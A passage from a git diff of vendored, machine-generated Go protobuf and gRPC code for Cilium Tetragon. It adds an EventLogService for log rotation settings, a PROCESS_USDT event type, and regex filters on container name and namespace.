0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x19, + 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x6d, 0x61, 0x78, + 0x5f, 0x73, 0x69, 0x7a, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x6d, 0x61, 0x78, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x2b, 0x0a, 0x11, 0x72, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x5f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x10, 0x72, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x1f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x5f, 0x62, 0x61, 0x63, 0x6b, 0x75, 0x70, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x6d, 0x61, 0x78, 0x42, 0x61, 0x63, 0x6b, 0x75, + 0x70, 0x73, 0x32, 0xd1, 0x01, 0x0a, 0x0f, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x5e, 0x0a, 0x11, 0x53, 0x65, 0x74, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x22, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, + 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x23, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x5e, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x22, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x4c, + 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x23, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x47, 0x65, 0x74, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_tetragon_eventlogservice_proto_rawDescOnce sync.Once + file_tetragon_eventlogservice_proto_rawDescData = file_tetragon_eventlogservice_proto_rawDesc +) + +func file_tetragon_eventlogservice_proto_rawDescGZIP() []byte { + file_tetragon_eventlogservice_proto_rawDescOnce.Do(func() { + file_tetragon_eventlogservice_proto_rawDescData = protoimpl.X.CompressGZIP(file_tetragon_eventlogservice_proto_rawDescData) + }) + return file_tetragon_eventlogservice_proto_rawDescData +} + +var file_tetragon_eventlogservice_proto_msgTypes = make([]protoimpl.MessageInfo, 4) +var file_tetragon_eventlogservice_proto_goTypes = []any{ + (*SetEventLogParamsRequest)(nil), // 0: tetragon.SetEventLogParamsRequest + (*SetEventLogParamsResponse)(nil), // 1: tetragon.SetEventLogParamsResponse + (*GetEventLogParamsRequest)(nil), // 2: tetragon.GetEventLogParamsRequest + (*GetEventLogParamsResponse)(nil), // 3: tetragon.GetEventLogParamsResponse +} +var file_tetragon_eventlogservice_proto_depIdxs = []int32{ + 0, // 0: tetragon.EventLogService.SetEventLogParams:input_type -> tetragon.SetEventLogParamsRequest + 2, // 1: tetragon.EventLogService.GetEventLogParams:input_type -> tetragon.GetEventLogParamsRequest + 1, // 2: tetragon.EventLogService.SetEventLogParams:output_type -> tetragon.SetEventLogParamsResponse + 3, // 3: tetragon.EventLogService.GetEventLogParams:output_type -> tetragon.GetEventLogParamsResponse + 2, // [2:4] is the sub-list for method output_type + 0, // [0:2] is the sub-list for method input_type + 0, // [0:0] is the sub-list for extension type_name + 0, // [0:0] is the sub-list for extension extendee + 0, // [0:0] is the sub-list for field type_name +} + +func init() { file_tetragon_eventlogservice_proto_init() } +func file_tetragon_eventlogservice_proto_init() { + if File_tetragon_eventlogservice_proto != nil { + return + } + file_tetragon_eventlogservice_proto_msgTypes[0].OneofWrappers = []any{} + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_tetragon_eventlogservice_proto_rawDesc, + NumEnums: 0, + NumMessages: 4, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_tetragon_eventlogservice_proto_goTypes, + DependencyIndexes: file_tetragon_eventlogservice_proto_depIdxs, + MessageInfos: file_tetragon_eventlogservice_proto_msgTypes, + }.Build() + File_tetragon_eventlogservice_proto = out.File + file_tetragon_eventlogservice_proto_rawDesc = nil + file_tetragon_eventlogservice_proto_goTypes = nil + file_tetragon_eventlogservice_proto_depIdxs = nil +} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.pb.json.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.pb.json.go similarity index 64% rename from vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.pb.json.go rename to vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.pb.json.go index 187183c6..014a8d3d 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.pb.json.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.pb.json.go @@ -2,7 +2,7 @@ // Copyright Authors of Hubble // Code generated by protoc-gen-go-json. DO NOT EDIT. -// source: tetragon/stack.proto +// source: tetragon/eventlogservice.proto package tetragon @@ -11,49 +11,49 @@ import ( ) // MarshalJSON implements json.Marshaler -func (msg *StackAddress) MarshalJSON() ([]byte, error) { +func (msg *SetEventLogParamsRequest) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *StackAddress) UnmarshalJSON(b []byte) error { +func (msg *SetEventLogParamsRequest) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } // MarshalJSON implements json.Marshaler -func (msg *StackTrace) MarshalJSON() ([]byte, error) { +func (msg *SetEventLogParamsResponse) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *StackTrace) UnmarshalJSON(b []byte) error { +func (msg *SetEventLogParamsResponse) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } // MarshalJSON implements json.Marshaler -func (msg *StackTraceLabel) MarshalJSON() ([]byte, error) { +func (msg *GetEventLogParamsRequest) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *StackTraceLabel) UnmarshalJSON(b []byte) error { +func (msg *GetEventLogParamsRequest) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } // MarshalJSON implements json.Marshaler -func (msg *StackTraceNode) MarshalJSON() ([]byte, error) { +func (msg *GetEventLogParamsResponse) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *StackTraceNode) UnmarshalJSON(b []byte) error { +func (msg *GetEventLogParamsResponse) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.proto b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.proto new file mode 100644 index 00000000..12b631ca --- /dev/null +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice.proto @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +syntax = "proto3"; + +package tetragon; + +option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; + +service EventLogService { + rpc SetEventLogParams(SetEventLogParamsRequest) returns (SetEventLogParamsResponse) {} + rpc GetEventLogParams(GetEventLogParamsRequest) returns (GetEventLogParamsResponse) {} +} + +message SetEventLogParamsRequest { + optional int32 max_size = 1; + optional string rotation_interval = 2; + optional int32 max_backups = 3; +} + +message SetEventLogParamsResponse {} + +message GetEventLogParamsRequest {} + +message GetEventLogParamsResponse { + int32 max_size = 1; + string rotation_interval = 2; + int32 max_backups = 3; +} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice_grpc.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice_grpc.pb.go new file mode 100644 index 00000000..d91c3001 --- /dev/null +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/eventlogservice_grpc.pb.go @@ -0,0 +1,162 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.5.1 +// - protoc (unknown) +// source: tetragon/eventlogservice.proto + +package tetragon + +import ( + context "context" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.64.0 or later. +const _ = grpc.SupportPackageIsVersion9 + +const ( + EventLogService_SetEventLogParams_FullMethodName = "/tetragon.EventLogService/SetEventLogParams" + EventLogService_GetEventLogParams_FullMethodName = "/tetragon.EventLogService/GetEventLogParams" +) + +// EventLogServiceClient is the client API for EventLogService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type EventLogServiceClient interface { + SetEventLogParams(ctx context.Context, in *SetEventLogParamsRequest, opts ...grpc.CallOption) (*SetEventLogParamsResponse, error) + GetEventLogParams(ctx context.Context, in *GetEventLogParamsRequest, opts ...grpc.CallOption) (*GetEventLogParamsResponse, error) +} + +type eventLogServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewEventLogServiceClient(cc grpc.ClientConnInterface) EventLogServiceClient { + return &eventLogServiceClient{cc} +} + +func (c *eventLogServiceClient) SetEventLogParams(ctx context.Context, in *SetEventLogParamsRequest, opts ...grpc.CallOption) (*SetEventLogParamsResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(SetEventLogParamsResponse) + err := c.cc.Invoke(ctx, EventLogService_SetEventLogParams_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *eventLogServiceClient) GetEventLogParams(ctx context.Context, in *GetEventLogParamsRequest, opts ...grpc.CallOption) (*GetEventLogParamsResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + out := new(GetEventLogParamsResponse) + err := c.cc.Invoke(ctx, EventLogService_GetEventLogParams_FullMethodName, in, out, cOpts...) + if err != nil { + return nil, err + } + return out, nil +} + +// EventLogServiceServer is the server API for EventLogService service. +// All implementations must embed UnimplementedEventLogServiceServer +// for forward compatibility. +type EventLogServiceServer interface { + SetEventLogParams(context.Context, *SetEventLogParamsRequest) (*SetEventLogParamsResponse, error) + GetEventLogParams(context.Context, *GetEventLogParamsRequest) (*GetEventLogParamsResponse, error) + mustEmbedUnimplementedEventLogServiceServer() +} + +// UnimplementedEventLogServiceServer must be embedded to have +// forward compatible implementations. +// +// NOTE: this should be embedded by value instead of pointer to avoid a nil +// pointer dereference when methods are called. +type UnimplementedEventLogServiceServer struct{} + +func (UnimplementedEventLogServiceServer) SetEventLogParams(context.Context, *SetEventLogParamsRequest) (*SetEventLogParamsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method SetEventLogParams not implemented") +} +func (UnimplementedEventLogServiceServer) GetEventLogParams(context.Context, *GetEventLogParamsRequest) (*GetEventLogParamsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetEventLogParams not implemented") +} +func (UnimplementedEventLogServiceServer) mustEmbedUnimplementedEventLogServiceServer() {} +func (UnimplementedEventLogServiceServer) testEmbeddedByValue() {} + +// UnsafeEventLogServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to EventLogServiceServer will +// result in compilation errors. +type UnsafeEventLogServiceServer interface { + mustEmbedUnimplementedEventLogServiceServer() +} + +func RegisterEventLogServiceServer(s grpc.ServiceRegistrar, srv EventLogServiceServer) { + // If the following call pancis, it indicates UnimplementedEventLogServiceServer was + // embedded by pointer and is nil. This will cause panics if an + // unimplemented method is ever invoked, so we test this at initialization + // time to prevent it from happening at runtime later due to I/O. + if t, ok := srv.(interface{ testEmbeddedByValue() }); ok { + t.testEmbeddedByValue() + } + s.RegisterService(&EventLogService_ServiceDesc, srv) +} + +func _EventLogService_SetEventLogParams_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(SetEventLogParamsRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(EventLogServiceServer).SetEventLogParams(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: EventLogService_SetEventLogParams_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(EventLogServiceServer).SetEventLogParams(ctx, req.(*SetEventLogParamsRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _EventLogService_GetEventLogParams_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetEventLogParamsRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(EventLogServiceServer).GetEventLogParams(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: EventLogService_GetEventLogParams_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(EventLogServiceServer).GetEventLogParams(ctx, req.(*GetEventLogParamsRequest)) + } + return interceptor(ctx, in, info, handler) +} + +// EventLogService_ServiceDesc is the grpc.ServiceDesc for EventLogService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var EventLogService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "tetragon.EventLogService", + HandlerType: (*EventLogServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "SetEventLogParams", + Handler: _EventLogService_SetEventLogParams_Handler, + }, + { + MethodName: "GetEventLogParams", + Handler: _EventLogService_GetEventLogParams_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "tetragon/eventlogservice.proto", +} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.pb.go index dbed19d9..681a5613 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.pb.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/events.pb.go @@ -43,6 +43,7 @@ const ( EventType_PROCESS_UPROBE EventType = 12 EventType_PROCESS_THROTTLE EventType = 27 EventType_PROCESS_LSM EventType = 28 + EventType_PROCESS_USDT EventType = 29 EventType_TEST EventType = 40000 EventType_RATE_LIMIT_INFO EventType = 40001 ) @@ -59,6 +60,7 @@ var ( 12: "PROCESS_UPROBE", 27: "PROCESS_THROTTLE", 28: "PROCESS_LSM", + 29: "PROCESS_USDT", 40000: "TEST", 40001: "RATE_LIMIT_INFO", } @@ -72,6 +74,7 @@ var ( "PROCESS_UPROBE": 12, "PROCESS_THROTTLE": 27, "PROCESS_LSM": 28, + "PROCESS_USDT": 29, "TEST": 40000, "RATE_LIMIT_INFO": 40001, } @@ -245,8 +248,14 @@ type Filter struct { InInitTree *wrapperspb.BoolValue `protobuf:"bytes,16,opt,name=in_init_tree,json=inInitTree,proto3" json:"in_init_tree,omitempty"` // Filter ancestor processes' binaries using RE2 regular expression syntax. AncestorBinaryRegex []string `protobuf:"bytes,17,rep,name=ancestor_binary_regex,json=ancestorBinaryRegex,proto3" json:"ancestor_binary_regex,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + // Filter by the container name in the process.pod.container field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + ContainerNameRegex []string `protobuf:"bytes,18,rep,name=container_name_regex,json=containerNameRegex,proto3" json:"container_name_regex,omitempty"` + // Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + NamespaceRegex []string `protobuf:"bytes,19,rep,name=namespace_regex,json=namespaceRegex,proto3" json:"namespace_regex,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *Filter) Reset() { @@ -398,6 +407,20 @@ func (x *Filter) GetAncestorBinaryRegex() []string { return nil } +func (x *Filter) GetContainerNameRegex() []string { + if x != nil { + return x.ContainerNameRegex + } + return nil +} + +func (x *Filter) GetNamespaceRegex() []string { + if x != nil { + return x.NamespaceRegex + } + return nil +} + // Filter over a set of Linux process capabilities. See `message Capabilities` // for more info. WARNING: Multiple sets are ANDed. For example, if the // permitted filter matches, but the effective filter does not, the filter will @@ -976,6 +999,7 @@ type GetEventsResponse struct { // *GetEventsResponse_ProcessUprobe // *GetEventsResponse_ProcessThrottle // *GetEventsResponse_ProcessLsm + // *GetEventsResponse_ProcessUsdt // *GetEventsResponse_Test // *GetEventsResponse_RateLimitInfo Event isGetEventsResponse_Event `protobuf_oneof:"event"` @@ -1105,6 +1129,15 @@ func (x *GetEventsResponse) GetProcessLsm() *ProcessLsm { return nil } +func (x *GetEventsResponse) GetProcessUsdt() *ProcessUsdt { + if x != nil { + if x, ok := x.Event.(*GetEventsResponse_ProcessUsdt); ok { + return x.ProcessUsdt + } + } + return nil +} + func (x *GetEventsResponse) GetTest() *Test { if x != nil { if x, ok := x.Event.(*GetEventsResponse_Test); ok { @@ -1201,6 +1234,10 @@ type GetEventsResponse_ProcessLsm struct { ProcessLsm *ProcessLsm `protobuf:"bytes,28,opt,name=process_lsm,json=processLsm,proto3,oneof"` } +type GetEventsResponse_ProcessUsdt struct { + ProcessUsdt *ProcessUsdt `protobuf:"bytes,29,opt,name=process_usdt,json=processUsdt,proto3,oneof"` +} + type GetEventsResponse_Test struct { Test *Test `protobuf:"bytes,40000,opt,name=test,proto3,oneof"` } @@ -1225,6 +1262,8 @@ func (*GetEventsResponse_ProcessThrottle) isGetEventsResponse_Event() {} func (*GetEventsResponse_ProcessLsm) isGetEventsResponse_Event() {} +func (*GetEventsResponse_ProcessUsdt) isGetEventsResponse_Event() {} + func (*GetEventsResponse_Test) isGetEventsResponse_Event() {} func (*GetEventsResponse_RateLimitInfo) isGetEventsResponse_Event() {} @@ -1245,7 +1284,7 @@ var file_tetragon_events_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x63, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x17, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x74, 0x65, 0x74, 0x72, - 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xc1, 0x05, 0x0a, 0x06, 0x46, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x9c, 0x06, 0x0a, 0x06, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x12, 0x21, 0x0a, 0x0c, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x5f, 0x72, 0x65, 0x67, 0x65, 0x78, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x65, 0x67, 0x65, 0x78, 0x12, 0x1c, 0x0a, 0x09, 0x6e, 0x61, 0x6d, 0x65, @@ -1289,181 +1328,192 @@ var file_tetragon_events_proto_rawDesc = []byte{ 0x69, 0x6e, 0x49, 0x6e, 0x69, 0x74, 0x54, 0x72, 0x65, 0x65, 0x12, 0x32, 0x0a, 0x15, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x5f, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x5f, 0x72, 0x65, 0x67, 0x65, 0x78, 0x18, 0x11, 0x20, 0x03, 0x28, 0x09, 0x52, 0x13, 0x61, 0x6e, 0x63, 0x65, 0x73, - 0x74, 0x6f, 0x72, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x65, 0x67, 0x65, 0x78, 0x22, 0xb1, - 0x01, 0x0a, 0x09, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x12, 0x34, 0x0a, 0x09, - 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x46, 0x69, - 0x6c, 0x74, 0x65, 0x72, 0x53, 0x65, 0x74, 0x52, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x12, 0x34, 0x0a, 0x09, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x2e, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x53, 0x65, 0x74, 0x52, 0x09, 0x65, - 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x38, 0x0a, 0x0b, 0x69, 0x6e, 0x68, 0x65, - 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, - 0x65, 0x72, 0x53, 0x65, 0x74, 0x52, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x22, 0xd0, 0x01, 0x0a, 0x0c, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, - 0x53, 0x65, 0x74, 0x12, 0x2c, 0x0a, 0x03, 0x61, 0x6e, 0x79, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, - 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x03, 0x61, 0x6e, - 0x79, 0x12, 0x2c, 0x0a, 0x03, 0x61, 0x6c, 0x6c, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, + 0x74, 0x6f, 0x72, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x65, 0x67, 0x65, 0x78, 0x12, 0x30, + 0x0a, 0x14, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x5f, 0x6e, 0x61, 0x6d, 0x65, + 0x5f, 0x72, 0x65, 0x67, 0x65, 0x78, 0x18, 0x12, 0x20, 0x03, 0x28, 0x09, 0x52, 0x12, 0x63, 0x6f, + 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x67, 0x65, 0x78, + 0x12, 0x27, 0x0a, 0x0f, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x5f, 0x72, 0x65, + 0x67, 0x65, 0x78, 0x18, 0x13, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0e, 0x6e, 0x61, 0x6d, 0x65, 0x73, + 0x70, 0x61, 0x63, 0x65, 0x52, 0x65, 0x67, 0x65, 0x78, 0x22, 0xb1, 0x01, 0x0a, 0x09, 0x43, 0x61, + 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x12, 0x34, 0x0a, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x53, + 0x65, 0x74, 0x52, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x34, 0x0a, + 0x09, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x46, + 0x69, 0x6c, 0x74, 0x65, 0x72, 0x53, 0x65, 0x74, 0x52, 0x09, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x12, 0x38, 0x0a, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x53, 0x65, 0x74, + 0x52, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x22, 0xd0, 0x01, + 0x0a, 0x0c, 0x43, 0x61, 0x70, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x53, 0x65, 0x74, 0x12, 0x2c, + 0x0a, 0x03, 0x61, 0x6e, 0x79, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, + 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x03, 0x61, 0x6e, 0x79, 0x12, 0x2c, 0x0a, 0x03, + 0x61, 0x6c, 0x6c, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, + 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x03, 0x61, 